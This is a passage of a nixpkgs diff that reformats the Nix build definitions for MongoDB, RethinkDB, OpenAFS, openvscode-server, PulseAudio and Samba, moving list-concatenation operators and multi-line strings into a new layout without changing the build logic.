-    [
-      boost
-      curl
-      gperftools
-      libpcap
-      yaml-cpp
-      openssl
-      openldap
-      pcre2
-      pcre-cpp
-      sasl
-      snappy
-      zlib
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      cctools
-    ]
-    ++ lib.optional stdenv.hostPlatform.isLinux net-snmp
-    ++ [ xz ];
+  buildInputs = [
+    boost
+    curl
+    gperftools
+    libpcap
+    yaml-cpp
+    openssl
+    openldap
+    pcre2
+    pcre-cpp
+    sasl
+    snappy
+    zlib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    cctools
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux net-snmp
+  ++ [ xz ];
 
   # MongoDB keeps track of its build parameters, which tricks nix into
   # keeping dependencies to build inputs in the final output.
   # We remove the build flags from buildInfo data.
   inherit patches;
 
-  postPatch =
-    ''
-      # fix environment variable reading
-      substituteInPlace SConstruct \
-          --replace "env = Environment(" "env = Environment(ENV = os.environ,"
-    ''
-    + ''
-      # Fix debug gcc 11 and clang 12 builds on Fedora
-      # https://github.com/mongodb/mongo/commit/e78b2bf6eaa0c43bd76dbb841add167b443d2bb0.patch
-      substituteInPlace src/mongo/db/query/plan_summary_stats.h --replace '#include <string>' '#include <optional>
-      #include <string>'
-      substituteInPlace src/mongo/db/exec/plan_stats.h --replace '#include <string>' '#include <optional>
-      #include <string>'
-    ''
-    + lib.optionalString (!avxSupport) ''
-      substituteInPlace SConstruct \
-        --replace-fail "default=['+sandybridge']," 'default=[],'
-    '';
+  postPatch = ''
+    # fix environment variable reading
+    substituteInPlace SConstruct \
+        --replace "env = Environment(" "env = Environment(ENV = os.environ,"
+  ''
+  + ''
+    # Fix debug gcc 11 and clang 12 builds on Fedora
+    # https://github.com/mongodb/mongo/commit/e78b2bf6eaa0c43bd76dbb841add167b443d2bb0.patch
+    substituteInPlace src/mongo/db/query/plan_summary_stats.h --replace '#include <string>' '#include <optional>
+    #include <string>'
+    substituteInPlace src/mongo/db/exec/plan_stats.h --replace '#include <string>' '#include <optional>
+    #include <string>'
+  ''
+  + lib.optionalString (!avxSupport) ''
+    substituteInPlace SConstruct \
+      --replace-fail "default=['+sandybridge']," 'default=[],'
+  '';
 
   env.NIX_CFLAGS_COMPILE = lib.optionalString stdenv.cc.isClang "-Wno-unused-command-line-argument";
 
@@ -142,22 +140,22 @@ stdenv.mkDerivation rec {
     "VARIANT_DIR=nixos" # Needed so we don't produce argument lists that are too long for gcc / ld
     "--link-model=static"
     "MONGO_VERSION=${version}"
-  ] ++ map (lib: "--use-system-${lib}") system-libraries;
+  ]
+  ++ map (lib: "--use-system-${lib}") system-libraries;
 
   # This seems to fix mongodb not able to find OpenSSL's crypto.h during build
   hardeningDisable = [ "fortify3" ];
 
-  preBuild =
-    ''
-      appendToVar sconsFlags "CC=$CC"
-      appendToVar sconsFlags "CXX=$CXX"
-    ''
-    + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
-      appendToVar sconsFlags "AR=$AR"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isAarch64 ''
-      appendToVar sconsFlags "CCFLAGS=-march=armv8-a+crc"
-    '';
+  preBuild = ''
+    appendToVar sconsFlags "CC=$CC"
+    appendToVar sconsFlags "CXX=$CXX"
+  ''
+  + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
+    appendToVar sconsFlags "AR=$AR"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isAarch64 ''
+    appendToVar sconsFlags "CCFLAGS=-march=armv8-a+crc"
+  '';
 
   preInstall = ''
     mkdir -p "$out/lib"
diff --git a/pkgs/servers/nosql/rethinkdb/default.nix b/pkgs/servers/nosql/rethinkdb/default.nix
index f1c3cf02c331..f6842768af6a 100644
--- a/pkgs/servers/nosql/rethinkdb/default.nix
+++ b/pkgs/servers/nosql/rethinkdb/default.nix
@@ -43,17 +43,16 @@ stdenv.mkDerivation rec {
 
   makeFlags = [ "rethinkdb" ];
 
-  buildInputs =
-    [
-      protobuf
-      boost
-      zlib
-      curl
-      openssl
-      icu
-    ]
-    ++ lib.optional (!stdenv.hostPlatform.isDarwin) jemalloc
-    ++ lib.optional stdenv.hostPlatform.isDarwin libtool;
+  buildInputs = [
+    protobuf
+    boost
+    zlib
+    curl
+    openssl
+    icu
+  ]
+  ++ lib.optional (!stdenv.hostPlatform.isDarwin) jemalloc
+  ++ lib.optional stdenv.hostPlatform.isDarwin libtool;
 
   nativeBuildInputs = [
     which
diff --git a/pkgs/servers/openafs/1.8/default.nix b/pkgs/servers/openafs/1.8/default.nix
index 1f8b92c6d6c7..d5c5645e95bb 100644
--- a/pkgs/servers/openafs/1.8/default.nix
+++ b/pkgs/servers/openafs/1.8/default.nix
@@ -35,35 +35,36 @@ stdenv.mkDerivation {
   inherit version srcs;
 
   depsBuildBuild = [ buildPackages.stdenv.cc ];
-  nativeBuildInputs =
-    [
-      autoconf
-      automake
-      flex
-      libxslt
-      libtool_2
-      perl
-      which
-      bison
-    ]
-    ++ optionals withDevdoc [
-      doxygen
-      dblatex
-    ];
+  nativeBuildInputs = [
+    autoconf
+    automake
+    flex
+    libxslt
+    libtool_2
+    perl
+    which
+    bison
+  ]
+  ++ optionals withDevdoc [
+    doxygen
+    dblatex
+  ];
 
   buildInputs = [ libkrb5 ] ++ optional withNcurses ncurses;
 
   patches = [
     ./bosserver.patch
     ./cross-build.patch
-  ] ++ optional withTsm ./tsmbac.patch;
+  ]
+  ++ optional withTsm ./tsmbac.patch;
 
   outputs = [
     "out"
     "dev"
     "man"
     "doc"
-  ] ++ optional withDevdoc "devdoc";
+  ]
+  ++ optional withDevdoc "devdoc";
 
   enableParallelBuilding = false;
 
@@ -72,69 +73,66 @@ stdenv.mkDerivation {
   # Makefiles don't include install targets for all new shared libs, yet.
   dontDisableStatic = true;
 
-  preConfigure =
-    ''
-      patchShebangs .
-      for i in `grep -l -R '/usr/\(include\|src\)' .`; do
-        echo "Patch /usr/include and /usr/src in $i"
-        substituteInPlace $i \
-          --replace "/usr/include" "${glibc.dev}/include" \
-          --replace "/usr/src" "$TMP"
-      done
+  preConfigure = ''
+    patchShebangs .
+    for i in `grep -l -R '/usr/\(include\|src\)' .`; do
+      echo "Patch /usr/include and /usr/src in $i"
+      substituteInPlace $i \
+        --replace "/usr/include" "${glibc.dev}/include" \
+        --replace "/usr/src" "$TMP"
+    done
 
-      for i in ./doc/xml/{AdminGuide,QuickStartUnix,UserGuide}/*.xml; do
-        substituteInPlace "''${i}" --replace "http://www.oasis-open.org/docbook/xml/4.3/docbookx.dtd" \
-          "${docbook_xml_dtd_43}/xml/dtd/docbook/docbookx.dtd"
-      done
+    for i in ./doc/xml/{AdminGuide,QuickStartUnix,UserGuide}/*.xml; do
+      substituteInPlace "''${i}" --replace "http://www.oasis-open.org/docbook/xml/4.3/docbookx.dtd" \
+        "${docbook_xml_dtd_43}/xml/dtd/docbook/docbookx.dtd"
+    done
 
-      ./regen.sh
+    ./regen.sh
 
 
-      configureFlagsArray=(
-        "--with-krb5"
-        "--sysconfdir=/etc"
-        "--localstatedir=/var"
-        "--disable-kernel-module"
-        "--disable-fuse-client"
-        "--with-docbook-stylesheets=${docbook_xsl}/share/xml/docbook-xsl"
-        ${optionalString withTsm "--enable-tivoli-tsm"}
-        ${optionalString (!withNcurses) "--disable-gtx"}
-        "--disable-linux-d_splice-alias-extra-iput"
-      )
-    ''
-    + optionalString withTsm ''
-      export XBSA_CFLAGS="-Dxbsa -DNEW_XBSA -I${tsm-client}/lib64/sample -DXBSA_TSMLIB=\\\"${tsm-client}/lib64/libApiTSM64.so\\\""
-    '';
+    configureFlagsArray=(
+      "--with-krb5"
+      "--sysconfdir=/etc"
+      "--localstatedir=/var"
+      "--disable-kernel-module"
+      "--disable-fuse-client"
+      "--with-docbook-stylesheets=${docbook_xsl}/share/xml/docbook-xsl"
+      ${optionalString withTsm "--enable-tivoli-tsm"}
+      ${optionalString (!withNcurses) "--disable-gtx"}
+      "--disable-linux-d_splice-alias-extra-iput"
+    )
+  ''
+  + optionalString withTsm ''
+    export XBSA_CFLAGS="-Dxbsa -DNEW_XBSA -I${tsm-client}/lib64/sample -DXBSA_TSMLIB=\\\"${tsm-client}/lib64/libApiTSM64.so\\\""
+  '';
 
   buildFlags = [ "all_nolibafs" ];
 
-  postBuild =
-    ''
-      for d in doc/xml/{AdminGuide,QuickStartUnix,UserGuide}; do
-        make -C "''${d}" index.html
-      done
-    ''
-    + optionalString withDevdoc ''
-      make dox
-    '';
+  postBuild = ''
+    for d in doc/xml/{AdminGuide,QuickStartUnix,UserGuide}; do
+      make -C "''${d}" index.html
+    done
+  ''
+  + optionalString withDevdoc ''
+    make dox
+  '';
 
-  postInstall =
-    ''
-      mkdir -p $doc/share/doc/openafs/{AdminGuide,QuickStartUnix,UserGuide}
-      cp -r doc/txt README LICENSE $doc/share/doc/openafs
-      for d in AdminGuide QuickStartUnix UserGuide ; do
-        cp "doc/xml/''${d}"/*.html "$doc/share/doc/openafs/''${d}"
-      done
+  postInstall = ''
+    mkdir -p $doc/share/doc/openafs/{AdminGuide,QuickStartUnix,UserGuide}
+    cp -r doc/txt README LICENSE $doc/share/doc/openafs
+    for d in AdminGuide QuickStartUnix UserGuide ; do
+      cp "doc/xml/''${d}"/*.html "$doc/share/doc/openafs/''${d}"
+    done
 
-      cp src/tools/dumpscan/{afsdump_dirlist,afsdump_extract,afsdump_scan,dumptool} $out/bin
+    cp src/tools/dumpscan/{afsdump_dirlist,afsdump_extract,afsdump_scan,dumptool} $out/bin
 
-      rm -r $out/lib/openafs
-    ''
-    + optionalString withDevdoc ''
-      mkdir -p $devdoc/share/devhelp/openafs/doxygen
-      cp -r doc/{pdf,protocol} $devdoc/share/devhelp/openafs
-      cp -r doc/doxygen/output/html $devdoc/share/devhelp/openafs/doxygen
-    '';
+    rm -r $out/lib/openafs
+  ''
+  + optionalString withDevdoc ''
+    mkdir -p $devdoc/share/devhelp/openafs/doxygen
+    cp -r doc/{pdf,protocol} $devdoc/share/devhelp/openafs
+    cp -r doc/doxygen/output/html $devdoc/share/devhelp/openafs/doxygen
+  '';
 
   # remove forbidden references to $TMPDIR
   preFixup = ''
diff --git a/pkgs/servers/openafs/1.8/module.nix b/pkgs/servers/openafs/1.8/module.nix
index 5e3c9010ed55..c630ce82451e 100644
--- a/pkgs/servers/openafs/1.8/module.nix
+++ b/pkgs/servers/openafs/1.8/module.nix
@@ -86,7 +86,8 @@ stdenv.mkDerivation {
     perl
     which
     bison
-  ] ++ kernel.moduleBuildDependencies;
+  ]
+  ++ kernel.moduleBuildDependencies;
 
   buildInputs = [ libkrb5 ];
 
diff --git a/pkgs/servers/openvscode-server/default.nix b/pkgs/servers/openvscode-server/default.nix
index e0637893c92f..76203c4fc08d 100644
--- a/pkgs/servers/openvscode-server/default.nix
+++ b/pkgs/servers/openvscode-server/default.nix
@@ -174,57 +174,56 @@ stdenv.mkDerivation (finalAttrs: {
     runHook postConfigure
   '';
 
-  buildPhase =
-    ''
-      runHook preBuild
+  buildPhase = ''
+    runHook preBuild
 
-      # install dependencies
-      yarn --offline --ignore-scripts
+    # install dependencies
+    yarn --offline --ignore-scripts
 
-      # run yarn install everywhere, skipping postinstall so we can patch esbuild
-      find . -path "*node_modules" -prune -o \
-        -path "./*/*" -name "yarn.lock" -printf "%h\n" | \
-          xargs -I {} yarn --cwd {} \
-            --frozen-lockfile --offline --ignore-scripts --ignore-engines
+    # run yarn install everywhere, skipping postinstall so we can patch esbuild
+    find . -path "*node_modules" -prune -o \
+      -path "./*/*" -name "yarn.lock" -printf "%h\n" | \
+        xargs -I {} yarn --cwd {} \
+          --frozen-lockfile --offline --ignore-scripts --ignore-engines
 
-      ${patchEsbuild "./build" "0.12.6"}
-      ${patchEsbuild "./extensions" "0.11.23"}
+    ${patchEsbuild "./build" "0.12.6"}
+    ${patchEsbuild "./extensions" "0.11.23"}
 
-      # patch shebangs of node_modules to allow binary packages to build
-      patchShebangs ./remote/node_modules
+    # patch shebangs of node_modules to allow binary packages to build
+    patchShebangs ./remote/node_modules
 
-      # put ripgrep binary into bin so postinstall does not try to download it
-      find -path "*@vscode/ripgrep" -type d \
-        -execdir mkdir -p {}/bin \; \
-        -execdir ln -s ${ripgrep}/bin/rg {}/bin/rg \;
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # use prebuilt binary for @parcel/watcher, which requires macOS SDK 10.13+
-      # (see issue #101229)
-      pushd ./remote/node_modules/@parcel/watcher
-      mkdir -p ./build/Release
-      mv ./prebuilds/darwin-x64/node.napi.glibc.node ./build/Release/watcher.node
-      jq "del(.scripts) | .gypfile = false" ./package.json | sponge ./package.json
-      popd
-    ''
-    + ''
-      export NODE_OPTIONS=--openssl-legacy-provider
+    # put ripgrep binary into bin so postinstall does not try to download it
+    find -path "*@vscode/ripgrep" -type d \
+      -execdir mkdir -p {}/bin \; \
+      -execdir ln -s ${ripgrep}/bin/rg {}/bin/rg \;
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # use prebuilt binary for @parcel/watcher, which requires macOS SDK 10.13+
+    # (see issue #101229)
+    pushd ./remote/node_modules/@parcel/watcher
+    mkdir -p ./build/Release
+    mv ./prebuilds/darwin-x64/node.napi.glibc.node ./build/Release/watcher.node
+    jq "del(.scripts) | .gypfile = false" ./package.json | sponge ./package.json
+    popd
+  ''
+  + ''
+    export NODE_OPTIONS=--openssl-legacy-provider
 
-      # rebuild binaries, we use npm here, as yarn does not provide an alternative
-      # that would not attempt to try to reinstall everything and break our
-      # patching attempts
-      npm --prefix ./remote rebuild --build-from-source
+    # rebuild binaries, we use npm here, as yarn does not provide an alternative
+    # that would not attempt to try to reinstall everything and break our
+    # patching attempts
+    npm --prefix ./remote rebuild --build-from-source
 
-      # run postinstall scripts after patching
-      find . -path "*node_modules" -prune -o \
-        -path "./*/*" -name "yarn.lock" -printf "%h\n" | \
-          xargs -I {} sh -c 'jq -e ".scripts.postinstall" {}/package.json >/dev/null && yarn --cwd {} postinstall --frozen-lockfile --offline || true'
+    # run postinstall scripts after patching
+    find . -path "*node_modules" -prune -o \
+      -path "./*/*" -name "yarn.lock" -printf "%h\n" | \
+        xargs -I {} sh -c 'jq -e ".scripts.postinstall" {}/package.json >/dev/null && yarn --cwd {} postinstall --frozen-lockfile --offline || true'
 
-      # build and minify
-      yarn --offline gulp vscode-reh-web-${vsBuildTarget}-min
+    # build and minify
+    yarn --offline gulp vscode-reh-web-${vsBuildTarget}-min
 
-      runHook postBuild
-    '';
+    runHook postBuild
+  '';
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/servers/pulseaudio/default.nix b/pkgs/servers/pulseaudio/default.nix
index cdf726415a89..c7cffcdb558a 100644
--- a/pkgs/servers/pulseaudio/default.nix
+++ b/pkgs/servers/pulseaudio/default.nix
@@ -101,75 +101,73 @@ stdenv.mkDerivation rec {
     "dev"
   ];
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      meson
-      ninja
-      makeWrapper
-      perlPackages.perl
-      perlPackages.XMLParser
-      m4
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ glib ]
-    # gstreamer plugin discovery requires wrapping
-    ++ lib.optional (bluetoothSupport && advancedBluetoothCodecs) wrapGAppsHook3;
+  nativeBuildInputs = [
+    pkg-config
+    meson
+    ninja
+    makeWrapper
+    perlPackages.perl
+    perlPackages.XMLParser
+    m4
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ glib ]
+  # gstreamer plugin discovery requires wrapping
+  ++ lib.optional (bluetoothSupport && advancedBluetoothCodecs) wrapGAppsHook3;
 
   propagatedBuildInputs = lib.optionals stdenv.hostPlatform.isLinux [ libcap ];
 
-  buildInputs =
+  buildInputs = [
+    libtool
+    libsndfile
+    soxr
+    speexdsp
+    fftwFloat
+    check
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    glib
+    dbus
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin || stdenv.hostPlatform.isFreeBSD) [
+    libintl
+  ]
+  ++ lib.optionals (!libOnly) (
     [
-      libtool
-      libsndfile
-      soxr
-      speexdsp
-      fftwFloat
-      check
+      libasyncns
+      webrtc-audio-processing_1
     ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      glib
-      dbus
+    ++ lib.optional jackaudioSupport libjack2
+    ++ lib.optionals x11Support [
+      xorg.libICE
+      xorg.libSM
+      xorg.libX11
+      xorg.libXi
+      xorg.libXtst
     ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin || stdenv.hostPlatform.isFreeBSD) [
-      libintl
+    ++ lib.optional useSystemd systemd
+    ++ lib.optionals stdenv.hostPlatform.isLinux [
+      alsa-lib
+      udev
     ]
-    ++ lib.optionals (!libOnly) (
-      [
-        libasyncns
-        webrtc-audio-processing_1
-      ]
-      ++ lib.optional jackaudioSupport libjack2
-      ++ lib.optionals x11Support [
-        xorg.libICE
-        xorg.libSM
-        xorg.libX11
-        xorg.libXi
-        xorg.libXtst
-      ]
-      ++ lib.optional useSystemd systemd
-      ++ lib.optionals stdenv.hostPlatform.isLinux [
-        alsa-lib
-        udev
-      ]
-      ++ lib.optional airtunesSupport openssl
-      ++ lib.optionals bluetoothSupport [
-        bluez5
-        sbc
-      ]
-      # aptX and LDAC codecs are in gst-plugins-bad so far, rtpldacpay is in -good
-      ++ lib.optionals (bluetoothSupport && advancedBluetoothCodecs) (
-        builtins.attrValues {
-          inherit (gst_all_1)
-            gst-plugins-bad
-            gst-plugins-good
-            gst-plugins-base
-            gstreamer
-            ;
-        }
-      )
-      ++ lib.optional remoteControlSupport lirc
-      ++ lib.optional zeroconfSupport avahi
-    );
+    ++ lib.optional airtunesSupport openssl
+    ++ lib.optionals bluetoothSupport [
+      bluez5
+      sbc
+    ]
+    # aptX and LDAC codecs are in gst-plugins-bad so far, rtpldacpay is in -good
+    ++ lib.optionals (bluetoothSupport && advancedBluetoothCodecs) (
+      builtins.attrValues {
+        inherit (gst_all_1)
+          gst-plugins-bad
+          gst-plugins-good
+          gst-plugins-base
+          gstreamer
+          ;
+      }
+    )
+    ++ lib.optional remoteControlSupport lirc
+    ++ lib.optional zeroconfSupport avahi
+  );
 
   env =
     lib.optionalAttrs (stdenv.cc.bintools.isLLVM && lib.versionAtLeast stdenv.cc.bintools.version "17")
@@ -178,53 +176,52 @@ stdenv.mkDerivation rec {
         NIX_LDFLAGS = "--undefined-version";
       };
 
-  mesonFlags =
-    [
-      (lib.mesonEnable "alsa" (!libOnly && alsaSupport))
-      (lib.mesonEnable "asyncns" (!libOnly))
-      (lib.mesonEnable "avahi" zeroconfSupport)
-      (lib.mesonEnable "bluez5" (!libOnly && bluetoothSupport))
-      # advanced bluetooth audio codecs are provided by gstreamer
-      (lib.mesonEnable "bluez5-gstreamer" (!libOnly && bluetoothSupport && advancedBluetoothCodecs))
-      (lib.mesonOption "database" "simple")
-      (lib.mesonBool "doxygen" false)
-      (lib.mesonEnable "elogind" false)
-      # gsettings does not support cross-compilation
-      (lib.mesonEnable "gsettings" (
-        stdenv.hostPlatform.isLinux && (stdenv.buildPlatform == stdenv.hostPlatform)
-      ))
-      (lib.mesonEnable "gstreamer" false)
-      (lib.mesonEnable "gtk" false)
-      (lib.mesonEnable "jack" (jackaudioSupport && !libOnly))
-      (lib.mesonEnable "lirc" remoteControlSupport)
-      (lib.mesonEnable "openssl" airtunesSupport)
-      (lib.mesonEnable "orc" false)
-      (lib.mesonEnable "systemd" (useSystemd && !libOnly))
-      (lib.mesonEnable "tcpwrap" false)
-      (lib.mesonEnable "udev" (!libOnly && udevSupport))
-      (lib.mesonEnable "valgrind" false)
-      (lib.mesonEnable "webrtc-aec" (!libOnly))
-      (lib.mesonEnable "x11" x11Support)
+  mesonFlags = [
+    (lib.mesonEnable "alsa" (!libOnly && alsaSupport))
+    (lib.mesonEnable "asyncns" (!libOnly))
+    (lib.mesonEnable "avahi" zeroconfSupport)
+    (lib.mesonEnable "bluez5" (!libOnly && bluetoothSupport))
+    # advanced bluetooth audio codecs are provided by gstreamer
+    (lib.mesonEnable "bluez5-gstreamer" (!libOnly && bluetoothSupport && advancedBluetoothCodecs))
+    (lib.mesonOption "database" "simple")
+    (lib.mesonBool "doxygen" false)
+    (lib.mesonEnable "elogind" false)
+    # gsettings does not support cross-compilation
+    (lib.mesonEnable "gsettings" (
+      stdenv.hostPlatform.isLinux && (stdenv.buildPlatform == stdenv.hostPlatform)
+    ))
+    (lib.mesonEnable "gstreamer" false)
+    (lib.mesonEnable "gtk" false)
+    (lib.mesonEnable "jack" (jackaudioSupport && !libOnly))
+    (lib.mesonEnable "lirc" remoteControlSupport)
+    (lib.mesonEnable "openssl" airtunesSupport)
+    (lib.mesonEnable "orc" false)
+    (lib.mesonEnable "systemd" (useSystemd && !libOnly))
+    (lib.mesonEnable "tcpwrap" false)
+    (lib.mesonEnable "udev" (!libOnly && udevSupport))
+    (lib.mesonEnable "valgrind" false)
+    (lib.mesonEnable "webrtc-aec" (!libOnly))
+    (lib.mesonEnable "x11" x11Support)
 
-      (lib.mesonOption "localstatedir" "/var")
-      (lib.mesonOption "sysconfdir" "/etc")
-      (lib.mesonOption "sysconfdir_install" "${placeholder "out"}/etc")
-      (lib.mesonOption "udevrulesdir" "${placeholder "out"}/lib/udev/rules.d")
+    (lib.mesonOption "localstatedir" "/var")
+    (lib.mesonOption "sysconfdir" "/etc")
+    (lib.mesonOption "sysconfdir_install" "${placeholder "out"}/etc")
+    (lib.mesonOption "udevrulesdir" "${placeholder "out"}/lib/udev/rules.d")
 
-      # pulseaudio complains if its binary is moved after installation;
-      # this is needed so that wrapGApp can operate *without*
-      # renaming the unwrapped binaries (see below)
-      "--bindir=${placeholder "out"}/.bin-unwrapped"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux && useSystemd) [
-      (lib.mesonOption "systemduserunitdir" "${placeholder "out"}/lib/systemd/user")
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      (lib.mesonEnable "consolekit" false)
-      (lib.mesonEnable "dbus" false)
-      (lib.mesonEnable "glib" false)
-      (lib.mesonEnable "oss-output" false)
-    ];
+    # pulseaudio complains if its binary is moved after installation;
+    # this is needed so that wrapGApp can operate *without*
+    # renaming the unwrapped binaries (see below)
+    "--bindir=${placeholder "out"}/.bin-unwrapped"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux && useSystemd) [
+    (lib.mesonOption "systemduserunitdir" "${placeholder "out"}/lib/systemd/user")
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    (lib.mesonEnable "consolekit" false)
+    (lib.mesonEnable "dbus" false)
+    (lib.mesonEnable "glib" false)
+    (lib.mesonEnable "oss-output" false)
+  ];
 
   # tests fail on Darwin because of timeouts
   doCheck = !stdenv.hostPlatform.isDarwin;
diff --git a/pkgs/servers/samba/4.x.nix b/pkgs/servers/samba/4.x.nix
index dc753bbb1b6d..967fa91ce2d8 100644
--- a/pkgs/servers/samba/4.x.nix
+++ b/pkgs/servers/samba/4.x.nix
@@ -106,79 +106,77 @@ stdenv.mkDerivation (finalAttrs: {
     })
   ];
 
-  nativeBuildInputs =
-    [
-      python3Packages.python
-      wafHook
-      pkg-config
-      bison
-      flex
-      perl
-      perl.pkgs.ParseYapp
-      perl.pkgs.JSON
-      libxslt
-      docbook_xsl
-      docbook_xml_dtd_45
-      cmocka
-      rpcsvc-proto
-    ]
-    ++ optionals stdenv.hostPlatform.isLinux [
-      buildPackages.stdenv.cc
-    ]
-    ++ optional (stdenv.buildPlatform != stdenv.hostPlatform) samba # asn1_compile/compile_et
-    ++ optionals stdenv.hostPlatform.isDarwin [
-      fixDarwinDylibNames
-    ];
+  nativeBuildInputs = [
+    python3Packages.python
+    wafHook
+    pkg-config
+    bison
+    flex
+    perl
+    perl.pkgs.ParseYapp
+    perl.pkgs.JSON
+    libxslt
+    docbook_xsl
+    docbook_xml_dtd_45
+    cmocka
+    rpcsvc-proto
+  ]
+  ++ optionals stdenv.hostPlatform.isLinux [
+    buildPackages.stdenv.cc
+  ]
+  ++ optional (stdenv.buildPlatform != stdenv.hostPlatform) samba # asn1_compile/compile_et
+  ++ optionals stdenv.hostPlatform.isDarwin [
+    fixDarwinDylibNames
+  ];
 
   wafPath = "buildtools/bin/waf";
 
-  buildInputs =
-    [
-      bash
-      wrapPython
-      python
-      readline
-      popt
-      dbus
-      jansson
-      libbsd
-      libarchive
-      zlib
-      gnutls
-      libtasn1
-      tdb
-      libxcrypt
-    ]
-    ++ optionals stdenv.hostPlatform.isLinux [
-      liburing
-      systemd
-    ]
-    ++ optionals stdenv.hostPlatform.isDarwin [ libiconv ]
-    ++ optionals enableLDAP [
-      openldap.dev
-      python3Packages.markdown
-    ]
-    ++ optionals (!enableLDAP && stdenv.hostPlatform.isLinux) [
-      ldb
-      talloc
-      tevent
-    ]
-    ++ optional enablePrinting cups
-    ++ optional enableMDNS avahi
-    ++ optionals enableDomainController [
-      gpgme
-      lmdb
-      python3Packages.dnspython
-    ]
-    ++ optional enableRegedit ncurses
-    ++ optional (enableCephFS && stdenv.hostPlatform.isLinux) (lib.getDev ceph)
-    ++ optionals (enableGlusterFS && stdenv.hostPlatform.isLinux) [
-      glusterfs
-      libuuid
-    ]
-    ++ optional enableAcl acl
-    ++ optional enableLibunwind libunwind
-    ++ optional enablePam pam;
+  buildInputs = [
+    bash
+    wrapPython
+    python
+    readline
+    popt
+    dbus
+    jansson
+    libbsd
+    libarchive
+    zlib
+    gnutls
+    libtasn1
+    tdb
+    libxcrypt
+  ]
+  ++ optionals stdenv.hostPlatform.isLinux [
+    liburing
+    systemd
+  ]
+  ++ optionals stdenv.hostPlatform.isDarwin [ libiconv ]
+  ++ optionals enableLDAP [
+    openldap.dev
+    python3Packages.markdown
+  ]
+  ++ optionals (!enableLDAP && stdenv.hostPlatform.isLinux) [
+    ldb
+    talloc
+    tevent
+  ]
+  ++ optional enablePrinting cups
+  ++ optional enableMDNS avahi
+  ++ optionals enableDomainController [
+    gpgme
+    lmdb
+    python3Packages.dnspython
+  ]
+  ++ optional enableRegedit ncurses
+  ++ optional (enableCephFS && stdenv.hostPlatform.isLinux) (lib.getDev ceph)
+  ++ optionals (enableGlusterFS && stdenv.hostPlatform.isLinux) [
+    glusterfs
+    libuuid
+  ]
+  ++ optional enableAcl acl
+  ++ optional enableLibunwind libunwind
+  ++ optional enablePam pam;
 
   postPatch = ''
     # Removes absolute paths in scripts
@@ -195,46 +193,45 @@ stdenv.mkDerivation (finalAttrs: {
     export PYTHONHASHSEED=1
   '';
 
-  wafConfigureFlags =
-    [
-      "--with-static-modules=NONE"
-      "--with-shared-modules=ALL"
-      "--enable-fhs"
-      "--sysconfdir=/etc"
-      "--localstatedir=/var"
-      "--disable-rpath"
-      # otherwise third_party/waf/waflib/Tools/python.py would
-      # get the wrong pythondir from build platform python
-      "--pythondir=${placeholder "out"}/${python.sitePackages}"
-      (lib.enableFeature enablePrinting "cups")
-    ]
-    ++ optional (!enableDomainController) "--without-ad-dc"
-    ++ optionals (!enableLDAP) [
-      "--without-ldap"
-      "--without-ads"
-    ]
-    ++ optionals (!enableLDAP && stdenv.hostPlatform.isLinux) [
-      "--bundled-libraries=!ldb,!pyldb-util!talloc,!pytalloc-util,!tevent,!tdb,!pytdb"
-    ]
-    ++ optional enableLibunwind "--with-libunwind"
-    ++ optional enableProfiling "--with-profiling-data"
-    ++ optional (!enableAcl) "--without-acl-support"
-    ++ optional (!enablePam) "--without-pam"
-    ++ optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      "--bundled-libraries=!asn1_compile,!compile_et"
-      "--cross-compile"
-      "--cross-execute=${stdenv.hostPlatform.emulator buildPackages}"
-    ]
-    ++ optionals stdenv.buildPlatform.is32bit [
-      # By default `waf configure` spawns as many as available CPUs. On
-      # 32-bit systems with many CPUs (like `i686` chroot on `x86_64`
-      # kernel) it can easily exhaust 32-bit address space and hang up:
-      #   https://github.com/NixOS/nixpkgs/issues/287339#issuecomment-1949462057
-      #   https://bugs.gentoo.org/683148
-      # Limit the job count down to the minimal on system with limited address
-      # space.
-      "--jobs 1"
-    ];
+  wafConfigureFlags = [
+    "--with-static-modules=NONE"
+    "--with-shared-modules=ALL"
+    "--enable-fhs"
+    "--sysconfdir=/etc"
+    "--localstatedir=/var"
+    "--disable-rpath"
+    # otherwise third_party/waf/waflib/Tools/python.py would
+    # get the wrong pythondir from build platform python
+    "--pythondir=${placeholder "out"}/${python.sitePackages}"
+    (lib.enableFeature enablePrinting "cups")
+  ]
+  ++ optional (!enableDomainController) "--without-ad-dc"
+  ++ optionals (!enableLDAP) [
+    "--without-ldap"
+    "--without-ads"
+  ]
+  ++ optionals (!enableLDAP && stdenv.hostPlatform.isLinux) [
+    "--bundled-libraries=!ldb,!pyldb-util!talloc,!pytalloc-util,!tevent,!tdb,!pytdb"
+  ]
+  ++ optional enableLibunwind "--with-libunwind"
+  ++ optional enableProfiling "--with-profiling-data"
+  ++ optional (!enableAcl) "--without-acl-support"
+  ++ optional (!enablePam) "--without-pam"
+  ++ optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    "--bundled-libraries=!asn1_compile,!compile_et"
+    "--cross-compile"
+    "--cross-execute=${stdenv.hostPlatform.emulator buildPackages}"
+  ]
+  ++ optionals stdenv.buildPlatform.is32bit [
+    # By default `waf configure` spawns as many as available CPUs. On
+    # 32-bit systems with many CPUs (like `i686` chroot on `x86_64`
+    # kernel) it can easily exhaust 32-bit address space and hang up:
